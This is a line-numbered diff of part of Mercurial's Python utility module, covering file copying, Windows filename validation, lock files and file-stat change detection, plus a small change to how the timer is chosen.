1874 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1875 '''copy a file, preserving mode and optionally other stat info like
1875 '''copy a file, preserving mode and optionally other stat info like
1876 atime/mtime
1876 atime/mtime
1877
1877
1878 checkambig argument is used with filestat, and is useful only if
1878 checkambig argument is used with filestat, and is useful only if
1879 destination file is guarded by any lock (e.g. repo.lock or
1879 destination file is guarded by any lock (e.g. repo.lock or
1880 repo.wlock).
1880 repo.wlock).
1881
1881
1882 copystat and checkambig should be exclusive.
1882 copystat and checkambig should be exclusive.
1883 '''
1883 '''
1884 assert not (copystat and checkambig)
1884 assert not (copystat and checkambig)
1885 oldstat = None
1885 oldstat = None
1886 if os.path.lexists(dest):
1886 if os.path.lexists(dest):
1887 if checkambig:
1887 if checkambig:
1888 oldstat = checkambig and filestat.frompath(dest)
1888 oldstat = checkambig and filestat.frompath(dest)
1889 unlink(dest)
1889 unlink(dest)
1890 if hardlink:
1890 if hardlink:
1891 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1891 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1892 # unless we are confident that dest is on a whitelisted filesystem.
1892 # unless we are confident that dest is on a whitelisted filesystem.
1893 try:
1893 try:
1894 fstype = getfstype(os.path.dirname(dest))
1894 fstype = getfstype(os.path.dirname(dest))
1895 except OSError:
1895 except OSError:
1896 fstype = None
1896 fstype = None
1897 if fstype not in _hardlinkfswhitelist:
1897 if fstype not in _hardlinkfswhitelist:
1898 hardlink = False
1898 hardlink = False
1899 if hardlink:
1899 if hardlink:
1900 try:
1900 try:
1901 oslink(src, dest)
1901 oslink(src, dest)
1902 return
1902 return
1903 except (IOError, OSError):
1903 except (IOError, OSError):
1904 pass # fall back to normal copy
1904 pass # fall back to normal copy
1905 if os.path.islink(src):
1905 if os.path.islink(src):
1906 os.symlink(os.readlink(src), dest)
1906 os.symlink(os.readlink(src), dest)
1907 # copytime is ignored for symlinks, but in general copytime isn't needed
1907 # copytime is ignored for symlinks, but in general copytime isn't needed
1908 # for them anyway
1908 # for them anyway
1909 else:
1909 else:
1910 try:
1910 try:
1911 shutil.copyfile(src, dest)
1911 shutil.copyfile(src, dest)
1912 if copystat:
1912 if copystat:
1913 # copystat also copies mode
1913 # copystat also copies mode
1914 shutil.copystat(src, dest)
1914 shutil.copystat(src, dest)
1915 else:
1915 else:
1916 shutil.copymode(src, dest)
1916 shutil.copymode(src, dest)
1917 if oldstat and oldstat.stat:
1917 if oldstat and oldstat.stat:
1918 newstat = filestat.frompath(dest)
1918 newstat = filestat.frompath(dest)
1919 if newstat.isambig(oldstat):
1919 if newstat.isambig(oldstat):
1920 # stat of copied file is ambiguous to original one
1920 # stat of copied file is ambiguous to original one
1921 advanced = (
1921 advanced = (
1922 oldstat.stat[stat.ST_MTIME] + 1
1922 oldstat.stat[stat.ST_MTIME] + 1
1923 ) & 0x7FFFFFFF
1923 ) & 0x7FFFFFFF
1924 os.utime(dest, (advanced, advanced))
1924 os.utime(dest, (advanced, advanced))
1925 except shutil.Error as inst:
1925 except shutil.Error as inst:
1926 raise error.Abort(stringutil.forcebytestr(inst))
1926 raise error.Abort(stringutil.forcebytestr(inst))
1927
1927
1928
1928
1929 def copyfiles(src, dst, hardlink=None, progress=None):
1929 def copyfiles(src, dst, hardlink=None, progress=None):
1930 """Copy a directory tree using hardlinks if possible."""
1930 """Copy a directory tree using hardlinks if possible."""
1931 num = 0
1931 num = 0
1932
1932
1933 def settopic():
1933 def settopic():
1934 if progress:
1934 if progress:
1935 progress.topic = _(b'linking') if hardlink else _(b'copying')
1935 progress.topic = _(b'linking') if hardlink else _(b'copying')
1936
1936
1937 if os.path.isdir(src):
1937 if os.path.isdir(src):
1938 if hardlink is None:
1938 if hardlink is None:
1939 hardlink = (
1939 hardlink = (
1940 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1940 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1941 )
1941 )
1942 settopic()
1942 settopic()
1943 os.mkdir(dst)
1943 os.mkdir(dst)
1944 for name, kind in listdir(src):
1944 for name, kind in listdir(src):
1945 srcname = os.path.join(src, name)
1945 srcname = os.path.join(src, name)
1946 dstname = os.path.join(dst, name)
1946 dstname = os.path.join(dst, name)
1947 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1947 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1948 num += n
1948 num += n
1949 else:
1949 else:
1950 if hardlink is None:
1950 if hardlink is None:
1951 hardlink = (
1951 hardlink = (
1952 os.stat(os.path.dirname(src)).st_dev
1952 os.stat(os.path.dirname(src)).st_dev
1953 == os.stat(os.path.dirname(dst)).st_dev
1953 == os.stat(os.path.dirname(dst)).st_dev
1954 )
1954 )
1955 settopic()
1955 settopic()
1956
1956
1957 if hardlink:
1957 if hardlink:
1958 try:
1958 try:
1959 oslink(src, dst)
1959 oslink(src, dst)
1960 except (IOError, OSError):
1960 except (IOError, OSError):
1961 hardlink = False
1961 hardlink = False
1962 shutil.copy(src, dst)
1962 shutil.copy(src, dst)
1963 else:
1963 else:
1964 shutil.copy(src, dst)
1964 shutil.copy(src, dst)
1965 num += 1
1965 num += 1
1966 if progress:
1966 if progress:
1967 progress.increment()
1967 progress.increment()
1968
1968
1969 return hardlink, num
1969 return hardlink, num
1970
1970
1971
1971
1972 _winreservednames = {
1972 _winreservednames = {
1973 b'con',
1973 b'con',
1974 b'prn',
1974 b'prn',
1975 b'aux',
1975 b'aux',
1976 b'nul',
1976 b'nul',
1977 b'com1',
1977 b'com1',
1978 b'com2',
1978 b'com2',
1979 b'com3',
1979 b'com3',
1980 b'com4',
1980 b'com4',
1981 b'com5',
1981 b'com5',
1982 b'com6',
1982 b'com6',
1983 b'com7',
1983 b'com7',
1984 b'com8',
1984 b'com8',
1985 b'com9',
1985 b'com9',
1986 b'lpt1',
1986 b'lpt1',
1987 b'lpt2',
1987 b'lpt2',
1988 b'lpt3',
1988 b'lpt3',
1989 b'lpt4',
1989 b'lpt4',
1990 b'lpt5',
1990 b'lpt5',
1991 b'lpt6',
1991 b'lpt6',
1992 b'lpt7',
1992 b'lpt7',
1993 b'lpt8',
1993 b'lpt8',
1994 b'lpt9',
1994 b'lpt9',
1995 }
1995 }
1996 _winreservedchars = b':*?"<>|'
1996 _winreservedchars = b':*?"<>|'
1997
1997
1998
1998
1999 def checkwinfilename(path):
1999 def checkwinfilename(path):
2000 r'''Check that the base-relative path is a valid filename on Windows.
2000 r'''Check that the base-relative path is a valid filename on Windows.
2001 Returns None if the path is ok, or a UI string describing the problem.
2001 Returns None if the path is ok, or a UI string describing the problem.
2002
2002
2003 >>> checkwinfilename(b"just/a/normal/path")
2003 >>> checkwinfilename(b"just/a/normal/path")
2004 >>> checkwinfilename(b"foo/bar/con.xml")
2004 >>> checkwinfilename(b"foo/bar/con.xml")
2005 "filename contains 'con', which is reserved on Windows"
2005 "filename contains 'con', which is reserved on Windows"
2006 >>> checkwinfilename(b"foo/con.xml/bar")
2006 >>> checkwinfilename(b"foo/con.xml/bar")
2007 "filename contains 'con', which is reserved on Windows"
2007 "filename contains 'con', which is reserved on Windows"
2008 >>> checkwinfilename(b"foo/bar/xml.con")
2008 >>> checkwinfilename(b"foo/bar/xml.con")
2009 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2009 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2010 "filename contains 'AUX', which is reserved on Windows"
2010 "filename contains 'AUX', which is reserved on Windows"
2011 >>> checkwinfilename(b"foo/bar/bla:.txt")
2011 >>> checkwinfilename(b"foo/bar/bla:.txt")
2012 "filename contains ':', which is reserved on Windows"
2012 "filename contains ':', which is reserved on Windows"
2013 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2013 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2014 "filename contains '\\x07', which is invalid on Windows"
2014 "filename contains '\\x07', which is invalid on Windows"
2015 >>> checkwinfilename(b"foo/bar/bla ")
2015 >>> checkwinfilename(b"foo/bar/bla ")
2016 "filename ends with ' ', which is not allowed on Windows"
2016 "filename ends with ' ', which is not allowed on Windows"
2017 >>> checkwinfilename(b"../bar")
2017 >>> checkwinfilename(b"../bar")
2018 >>> checkwinfilename(b"foo\\")
2018 >>> checkwinfilename(b"foo\\")
2019 "filename ends with '\\', which is invalid on Windows"
2019 "filename ends with '\\', which is invalid on Windows"
2020 >>> checkwinfilename(b"foo\\/bar")
2020 >>> checkwinfilename(b"foo\\/bar")
2021 "directory name ends with '\\', which is invalid on Windows"
2021 "directory name ends with '\\', which is invalid on Windows"
2022 '''
2022 '''
2023 if path.endswith(b'\\'):
2023 if path.endswith(b'\\'):
2024 return _(b"filename ends with '\\', which is invalid on Windows")
2024 return _(b"filename ends with '\\', which is invalid on Windows")
2025 if b'\\/' in path:
2025 if b'\\/' in path:
2026 return _(b"directory name ends with '\\', which is invalid on Windows")
2026 return _(b"directory name ends with '\\', which is invalid on Windows")
2027 for n in path.replace(b'\\', b'/').split(b'/'):
2027 for n in path.replace(b'\\', b'/').split(b'/'):
2028 if not n:
2028 if not n:
2029 continue
2029 continue
2030 for c in _filenamebytestr(n):
2030 for c in _filenamebytestr(n):
2031 if c in _winreservedchars:
2031 if c in _winreservedchars:
2032 return (
2032 return (
2033 _(
2033 _(
2034 b"filename contains '%s', which is reserved "
2034 b"filename contains '%s', which is reserved "
2035 b"on Windows"
2035 b"on Windows"
2036 )
2036 )
2037 % c
2037 % c
2038 )
2038 )
2039 if ord(c) <= 31:
2039 if ord(c) <= 31:
2040 return _(
2040 return _(
2041 b"filename contains '%s', which is invalid on Windows"
2041 b"filename contains '%s', which is invalid on Windows"
2042 ) % stringutil.escapestr(c)
2042 ) % stringutil.escapestr(c)
2043 base = n.split(b'.')[0]
2043 base = n.split(b'.')[0]
2044 if base and base.lower() in _winreservednames:
2044 if base and base.lower() in _winreservednames:
2045 return (
2045 return (
2046 _(b"filename contains '%s', which is reserved on Windows")
2046 _(b"filename contains '%s', which is reserved on Windows")
2047 % base
2047 % base
2048 )
2048 )
2049 t = n[-1:]
2049 t = n[-1:]
2050 if t in b'. ' and n not in b'..':
2050 if t in b'. ' and n not in b'..':
2051 return (
2051 return (
2052 _(
2052 _(
2053 b"filename ends with '%s', which is not allowed "
2053 b"filename ends with '%s', which is not allowed "
2054 b"on Windows"
2054 b"on Windows"
2055 )
2055 )
2056 % t
2056 % t
2057 )
2057 )
2058
2058
2059
2059
2060 timer = getattr(time, "perf_counter", None)
2061
2060 if pycompat.iswindows:
2062 if pycompat.iswindows:
2061 checkosfilename = checkwinfilename
2063 checkosfilename = checkwinfilename
2064 if not timer:
2062 timer = time.clock
2065 timer = time.clock
2063 else:
2066 else:
2064 # mercurial.windows doesn't have platform.checkosfilename
2067 # mercurial.windows doesn't have platform.checkosfilename
2065 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2068 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2069 if not timer:
2066 timer = time.time
2070 timer = time.time
2067
2071
2068 if safehasattr(time, "perf_counter"):
2069 timer = time.perf_counter
2070
2071
2072
2072 def makelock(info, pathname):
2073 def makelock(info, pathname):
2073 """Create a lock file atomically if possible
2074 """Create a lock file atomically if possible
2074
2075
2075 This may leave a stale lock file if symlink isn't supported and signal
2076 This may leave a stale lock file if symlink isn't supported and signal
2076 interrupt is enabled.
2077 interrupt is enabled.
2077 """
2078 """
2078 try:
2079 try:
2079 return os.symlink(info, pathname)
2080 return os.symlink(info, pathname)
2080 except OSError as why:
2081 except OSError as why:
2081 if why.errno == errno.EEXIST:
2082 if why.errno == errno.EEXIST:
2082 raise
2083 raise
2083 except AttributeError: # no symlink in os
2084 except AttributeError: # no symlink in os
2084 pass
2085 pass
2085
2086
2086 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2087 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2087 ld = os.open(pathname, flags)
2088 ld = os.open(pathname, flags)
2088 os.write(ld, info)
2089 os.write(ld, info)
2089 os.close(ld)
2090 os.close(ld)
2090
2091
2091
2092
2092 def readlock(pathname):
2093 def readlock(pathname):
2093 try:
2094 try:
2094 return readlink(pathname)
2095 return readlink(pathname)
2095 except OSError as why:
2096 except OSError as why:
2096 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2097 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2097 raise
2098 raise
2098 except AttributeError: # no symlink in os
2099 except AttributeError: # no symlink in os
2099 pass
2100 pass
2100 with posixfile(pathname, b'rb') as fp:
2101 with posixfile(pathname, b'rb') as fp:
2101 return fp.read()
2102 return fp.read()
2102
2103
2103
2104
2104 def fstat(fp):
2105 def fstat(fp):
2105 '''stat file object that may not have fileno method.'''
2106 '''stat file object that may not have fileno method.'''
2106 try:
2107 try:
2107 return os.fstat(fp.fileno())
2108 return os.fstat(fp.fileno())
2108 except AttributeError:
2109 except AttributeError:
2109 return os.stat(fp.name)
2110 return os.stat(fp.name)
2110
2111
2111
2112
2112 # File system features
2113 # File system features
2113
2114
2114
2115
2115 def fscasesensitive(path):
2116 def fscasesensitive(path):
2116 """
2117 """
2117 Return true if the given path is on a case-sensitive filesystem
2118 Return true if the given path is on a case-sensitive filesystem
2118
2119
2119 Requires a path (like /foo/.hg) ending with a foldable final
2120 Requires a path (like /foo/.hg) ending with a foldable final
2120 directory component.
2121 directory component.
2121 """
2122 """
2122 s1 = os.lstat(path)
2123 s1 = os.lstat(path)
2123 d, b = os.path.split(path)
2124 d, b = os.path.split(path)
2124 b2 = b.upper()
2125 b2 = b.upper()
2125 if b == b2:
2126 if b == b2:
2126 b2 = b.lower()
2127 b2 = b.lower()
2127 if b == b2:
2128 if b == b2:
2128 return True # no evidence against case sensitivity
2129 return True # no evidence against case sensitivity
2129 p2 = os.path.join(d, b2)
2130 p2 = os.path.join(d, b2)
2130 try:
2131 try:
2131 s2 = os.lstat(p2)
2132 s2 = os.lstat(p2)
2132 if s2 == s1:
2133 if s2 == s1:
2133 return False
2134 return False
2134 return True
2135 return True
2135 except OSError:
2136 except OSError:
2136 return True
2137 return True
2137
2138
2138
2139
2139 try:
2140 try:
2140 import re2 # pytype: disable=import-error
2141 import re2 # pytype: disable=import-error
2141
2142
2142 _re2 = None
2143 _re2 = None
2143 except ImportError:
2144 except ImportError:
2144 _re2 = False
2145 _re2 = False
2145
2146
2146
2147
2147 class _re(object):
2148 class _re(object):
2148 def _checkre2(self):
2149 def _checkre2(self):
2149 global _re2
2150 global _re2
2150 try:
2151 try:
2151 # check if match works, see issue3964
2152 # check if match works, see issue3964
2152 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2153 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2153 except ImportError:
2154 except ImportError:
2154 _re2 = False
2155 _re2 = False
2155
2156
2156 def compile(self, pat, flags=0):
2157 def compile(self, pat, flags=0):
2157 '''Compile a regular expression, using re2 if possible
2158 '''Compile a regular expression, using re2 if possible
2158
2159
2159 For best performance, use only re2-compatible regexp features. The
2160 For best performance, use only re2-compatible regexp features. The
2160 only flags from the re module that are re2-compatible are
2161 only flags from the re module that are re2-compatible are
2161 IGNORECASE and MULTILINE.'''
2162 IGNORECASE and MULTILINE.'''
2162 if _re2 is None:
2163 if _re2 is None:
2163 self._checkre2()
2164 self._checkre2()
2164 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2165 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2165 if flags & remod.IGNORECASE:
2166 if flags & remod.IGNORECASE:
2166 pat = b'(?i)' + pat
2167 pat = b'(?i)' + pat
2167 if flags & remod.MULTILINE:
2168 if flags & remod.MULTILINE:
2168 pat = b'(?m)' + pat
2169 pat = b'(?m)' + pat
2169 try:
2170 try:
2170 return re2.compile(pat)
2171 return re2.compile(pat)
2171 except re2.error:
2172 except re2.error:
2172 pass
2173 pass
2173 return remod.compile(pat, flags)
2174 return remod.compile(pat, flags)
2174
2175
2175 @propertycache
2176 @propertycache
2176 def escape(self):
2177 def escape(self):
2177 '''Return the version of escape corresponding to self.compile.
2178 '''Return the version of escape corresponding to self.compile.
2178
2179
2179 This is imperfect because whether re2 or re is used for a particular
2180 This is imperfect because whether re2 or re is used for a particular
2180 function depends on the flags, etc, but it's the best we can do.
2181 function depends on the flags, etc, but it's the best we can do.
2181 '''
2182 '''
2182 global _re2
2183 global _re2
2183 if _re2 is None:
2184 if _re2 is None:
2184 self._checkre2()
2185 self._checkre2()
2185 if _re2:
2186 if _re2:
2186 return re2.escape
2187 return re2.escape
2187 else:
2188 else:
2188 return remod.escape
2189 return remod.escape
2189
2190
2190
2191
2191 re = _re()
2192 re = _re()
2192
2193
2193 _fspathcache = {}
2194 _fspathcache = {}
2194
2195
2195
2196
2196 def fspath(name, root):
2197 def fspath(name, root):
2197 '''Get name in the case stored in the filesystem
2198 '''Get name in the case stored in the filesystem
2198
2199
2199 The name should be relative to root, and be normcase-ed for efficiency.
2200 The name should be relative to root, and be normcase-ed for efficiency.
2200
2201
2201 Note that this function is unnecessary, and should not be
2202 Note that this function is unnecessary, and should not be
2202 called, for case-sensitive filesystems (simply because it's expensive).
2203 called, for case-sensitive filesystems (simply because it's expensive).
2203
2204
2204 The root should be normcase-ed, too.
2205 The root should be normcase-ed, too.
2205 '''
2206 '''
2206
2207
2207 def _makefspathcacheentry(dir):
2208 def _makefspathcacheentry(dir):
2208 return dict((normcase(n), n) for n in os.listdir(dir))
2209 return dict((normcase(n), n) for n in os.listdir(dir))
2209
2210
2210 seps = pycompat.ossep
2211 seps = pycompat.ossep
2211 if pycompat.osaltsep:
2212 if pycompat.osaltsep:
2212 seps = seps + pycompat.osaltsep
2213 seps = seps + pycompat.osaltsep
2213 # Protect backslashes. This gets silly very quickly.
2214 # Protect backslashes. This gets silly very quickly.
2214 seps.replace(b'\\', b'\\\\')
2215 seps.replace(b'\\', b'\\\\')
2215 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2216 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2216 dir = os.path.normpath(root)
2217 dir = os.path.normpath(root)
2217 result = []
2218 result = []
2218 for part, sep in pattern.findall(name):
2219 for part, sep in pattern.findall(name):
2219 if sep:
2220 if sep:
2220 result.append(sep)
2221 result.append(sep)
2221 continue
2222 continue
2222
2223
2223 if dir not in _fspathcache:
2224 if dir not in _fspathcache:
2224 _fspathcache[dir] = _makefspathcacheentry(dir)
2225 _fspathcache[dir] = _makefspathcacheentry(dir)
2225 contents = _fspathcache[dir]
2226 contents = _fspathcache[dir]
2226
2227
2227 found = contents.get(part)
2228 found = contents.get(part)
2228 if not found:
2229 if not found:
2229 # retry "once per directory" per "dirstate.walk" which
2230 # retry "once per directory" per "dirstate.walk" which
2230 # may take place for each patches of "hg qpush", for example
2231 # may take place for each patches of "hg qpush", for example
2231 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2232 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2232 found = contents.get(part)
2233 found = contents.get(part)
2233
2234
2234 result.append(found or part)
2235 result.append(found or part)
2235 dir = os.path.join(dir, part)
2236 dir = os.path.join(dir, part)
2236
2237
2237 return b''.join(result)
2238 return b''.join(result)
2238
2239
2239
2240
2240 def checknlink(testfile):
2241 def checknlink(testfile):
2241 '''check whether hardlink count reporting works properly'''
2242 '''check whether hardlink count reporting works properly'''
2242
2243
2243 # testfile may be open, so we need a separate file for checking to
2244 # testfile may be open, so we need a separate file for checking to
2244 # work around issue2543 (or testfile may get lost on Samba shares)
2245 # work around issue2543 (or testfile may get lost on Samba shares)
2245 f1, f2, fp = None, None, None
2246 f1, f2, fp = None, None, None
2246 try:
2247 try:
2247 fd, f1 = pycompat.mkstemp(
2248 fd, f1 = pycompat.mkstemp(
2248 prefix=b'.%s-' % os.path.basename(testfile),
2249 prefix=b'.%s-' % os.path.basename(testfile),
2249 suffix=b'1~',
2250 suffix=b'1~',
2250 dir=os.path.dirname(testfile),
2251 dir=os.path.dirname(testfile),
2251 )
2252 )
2252 os.close(fd)
2253 os.close(fd)
2253 f2 = b'%s2~' % f1[:-2]
2254 f2 = b'%s2~' % f1[:-2]
2254
2255
2255 oslink(f1, f2)
2256 oslink(f1, f2)
2256 # nlinks() may behave differently for files on Windows shares if
2257 # nlinks() may behave differently for files on Windows shares if
2257 # the file is open.
2258 # the file is open.
2258 fp = posixfile(f2)
2259 fp = posixfile(f2)
2259 return nlinks(f2) > 1
2260 return nlinks(f2) > 1
2260 except OSError:
2261 except OSError:
2261 return False
2262 return False
2262 finally:
2263 finally:
2263 if fp is not None:
2264 if fp is not None:
2264 fp.close()
2265 fp.close()
2265 for f in (f1, f2):
2266 for f in (f1, f2):
2266 try:
2267 try:
2267 if f is not None:
2268 if f is not None:
2268 os.unlink(f)
2269 os.unlink(f)
2269 except OSError:
2270 except OSError:
2270 pass
2271 pass
2271
2272
2272
2273
2273 def endswithsep(path):
2274 def endswithsep(path):
2274 '''Check path ends with os.sep or os.altsep.'''
2275 '''Check path ends with os.sep or os.altsep.'''
2275 return (
2276 return (
2276 path.endswith(pycompat.ossep)
2277 path.endswith(pycompat.ossep)
2277 or pycompat.osaltsep
2278 or pycompat.osaltsep
2278 and path.endswith(pycompat.osaltsep)
2279 and path.endswith(pycompat.osaltsep)
2279 )
2280 )
2280
2281
2281
2282
2282 def splitpath(path):
2283 def splitpath(path):
2283 '''Split path by os.sep.
2284 '''Split path by os.sep.
2284 Note that this function does not use os.altsep because this is
2285 Note that this function does not use os.altsep because this is
2285 an alternative of simple "xxx.split(os.sep)".
2286 an alternative of simple "xxx.split(os.sep)".
2286 It is recommended to use os.path.normpath() before using this
2287 It is recommended to use os.path.normpath() before using this
2287 function if need.'''
2288 function if need.'''
2288 return path.split(pycompat.ossep)
2289 return path.split(pycompat.ossep)
2289
2290
2290
2291
2291 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2292 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2292 """Create a temporary file with the same contents from name
2293 """Create a temporary file with the same contents from name
2293
2294
2294 The permission bits are copied from the original file.
2295 The permission bits are copied from the original file.
2295
2296
2296 If the temporary file is going to be truncated immediately, you
2297 If the temporary file is going to be truncated immediately, you
2297 can use emptyok=True as an optimization.
2298 can use emptyok=True as an optimization.
2298
2299
2299 Returns the name of the temporary file.
2300 Returns the name of the temporary file.
2300 """
2301 """
2301 d, fn = os.path.split(name)
2302 d, fn = os.path.split(name)
2302 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2303 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2303 os.close(fd)
2304 os.close(fd)
2304 # Temporary files are created with mode 0600, which is usually not
2305 # Temporary files are created with mode 0600, which is usually not
2305 # what we want. If the original file already exists, just copy
2306 # what we want. If the original file already exists, just copy
2306 # its mode. Otherwise, manually obey umask.
2307 # its mode. Otherwise, manually obey umask.
2307 copymode(name, temp, createmode, enforcewritable)
2308 copymode(name, temp, createmode, enforcewritable)
2308
2309
2309 if emptyok:
2310 if emptyok:
2310 return temp
2311 return temp
2311 try:
2312 try:
2312 try:
2313 try:
2313 ifp = posixfile(name, b"rb")
2314 ifp = posixfile(name, b"rb")
2314 except IOError as inst:
2315 except IOError as inst:
2315 if inst.errno == errno.ENOENT:
2316 if inst.errno == errno.ENOENT:
2316 return temp
2317 return temp
2317 if not getattr(inst, 'filename', None):
2318 if not getattr(inst, 'filename', None):
2318 inst.filename = name
2319 inst.filename = name
2319 raise
2320 raise
2320 ofp = posixfile(temp, b"wb")
2321 ofp = posixfile(temp, b"wb")
2321 for chunk in filechunkiter(ifp):
2322 for chunk in filechunkiter(ifp):
2322 ofp.write(chunk)
2323 ofp.write(chunk)
2323 ifp.close()
2324 ifp.close()
2324 ofp.close()
2325 ofp.close()
2325 except: # re-raises
2326 except: # re-raises
2326 try:
2327 try:
2327 os.unlink(temp)
2328 os.unlink(temp)
2328 except OSError:
2329 except OSError:
2329 pass
2330 pass
2330 raise
2331 raise
2331 return temp
2332 return temp
2332
2333
2333
2334
2334 class filestat(object):
2335 class filestat(object):
2335 """help to exactly detect change of a file
2336 """help to exactly detect change of a file
2336
2337
2337 'stat' attribute is result of 'os.stat()' if specified 'path'
2338 'stat' attribute is result of 'os.stat()' if specified 'path'
2338 exists. Otherwise, it is None. This can avoid preparative
2339 exists. Otherwise, it is None. This can avoid preparative
2339 'exists()' examination on client side of this class.
2340 'exists()' examination on client side of this class.
2340 """
2341 """
2341
2342
2342 def __init__(self, stat):
2343 def __init__(self, stat):
2343 self.stat = stat
2344 self.stat = stat
2344
2345
2345 @classmethod
2346 @classmethod
2346 def frompath(cls, path):
2347 def frompath(cls, path):
2347 try:
2348 try:
2348 stat = os.stat(path)
2349 stat = os.stat(path)
2349 except OSError as err:
2350 except OSError as err:
2350 if err.errno != errno.ENOENT:
2351 if err.errno != errno.ENOENT:
2351 raise
2352 raise
2352 stat = None
2353 stat = None
2353 return cls(stat)
2354 return cls(stat)
2354
2355
2355 @classmethod
2356 @classmethod
2356 def fromfp(cls, fp):
2357 def fromfp(cls, fp):
2357 stat = os.fstat(fp.fileno())
2358 stat = os.fstat(fp.fileno())
2358 return cls(stat)
2359 return cls(stat)
2359
2360
2360 __hash__ = object.__hash__
2361 __hash__ = object.__hash__
2361
2362
2362 def __eq__(self, old):
2363 def __eq__(self, old):
2363 try:
2364 try:
2364 # if ambiguity between stat of new and old file is
2365 # if ambiguity between stat of new and old file is
2365 # avoided, comparison of size, ctime and mtime is enough
2366 # avoided, comparison of size, ctime and mtime is enough
2366 # to exactly detect change of a file regardless of platform
2367 # to exactly detect change of a file regardless of platform
2367 return (
2368 return (
2368 self.stat.st_size == old.stat.st_size
2369 self.stat.st_size == old.stat.st_size
2369 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2370 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2370 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2371 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2371 )
2372 )
2372 except AttributeError:
2373 except AttributeError:
2373 pass
2374 pass
2374 try:
2375 try:
2375 return self.stat is None and old.stat is None
2376 return self.stat is None and old.stat is None
2376 except AttributeError:
2377 except AttributeError:
2377 return False
2378 return False
2378
2379
2379 def isambig(self, old):
2380 def isambig(self, old):
2380 """Examine whether new (= self) stat is ambiguous against old one
2381 """Examine whether new (= self) stat is ambiguous against old one
2381
2382
2382 "S[N]" below means stat of a file at N-th change:
2383 "S[N]" below means stat of a file at N-th change:
2383
2384
2384 - S[n-1].ctime < S[n].ctime: can detect change of a file
2385 - S[n-1].ctime < S[n].ctime: can detect change of a file
2385 - S[n-1].ctime == S[n].ctime
2386 - S[n-1].ctime == S[n].ctime
2386 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2387 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2387 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2388 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2388 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2389 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2389 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2390 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2390
2391
2391 Case (*2) above means that a file was changed twice or more at
2392 Case (*2) above means that a file was changed twice or more at
2392 same time in sec (= S[n-1].ctime), and comparison of timestamp
2393 same time in sec (= S[n-1].ctime), and comparison of timestamp
2393 is ambiguous.
2394 is ambiguous.
2394
2395
2395 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2396 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2396 timestamp is ambiguous".
2397 timestamp is ambiguous".
2397
2398
2398 But advancing mtime only in case (*2) doesn't work as
2399 But advancing mtime only in case (*2) doesn't work as
2399 expected, because naturally advanced S[n].mtime in case (*1)
2400 expected, because naturally advanced S[n].mtime in case (*1)
2400 might be equal to manually advanced S[n-1 or earlier].mtime.
2401 might be equal to manually advanced S[n-1 or earlier].mtime.
2401
2402
2402 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2403 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2403 treated as ambiguous regardless of mtime, to avoid overlooking
2404 treated as ambiguous regardless of mtime, to avoid overlooking
2404 by confliction between such mtime.
2405 by confliction between such mtime.
2405
2406
2406 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2407 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2407 S[n].mtime", even if size of a file isn't changed.
2408 S[n].mtime", even if size of a file isn't changed.
2408 """
2409 """
2409 try:
2410 try:
2410 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2411 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2411 except AttributeError:
2412 except AttributeError:
2412 return False
2413 return False
2413
2414
2414 def avoidambig(self, path, old):
2415 def avoidambig(self, path, old):
2415 """Change file stat of specified path to avoid ambiguity
2416 """Change file stat of specified path to avoid ambiguity
2416
2417
2417 'old' should be previous filestat of 'path'.
2418 'old' should be previous filestat of 'path'.
2418
2419
2419 This skips avoiding ambiguity, if a process doesn't have
2420 This skips avoiding ambiguity, if a process doesn't have
2420 appropriate privileges for 'path'. This returns False in this
2421 appropriate privileges for 'path'. This returns False in this
2421 case.
2422 case.
2422
2423
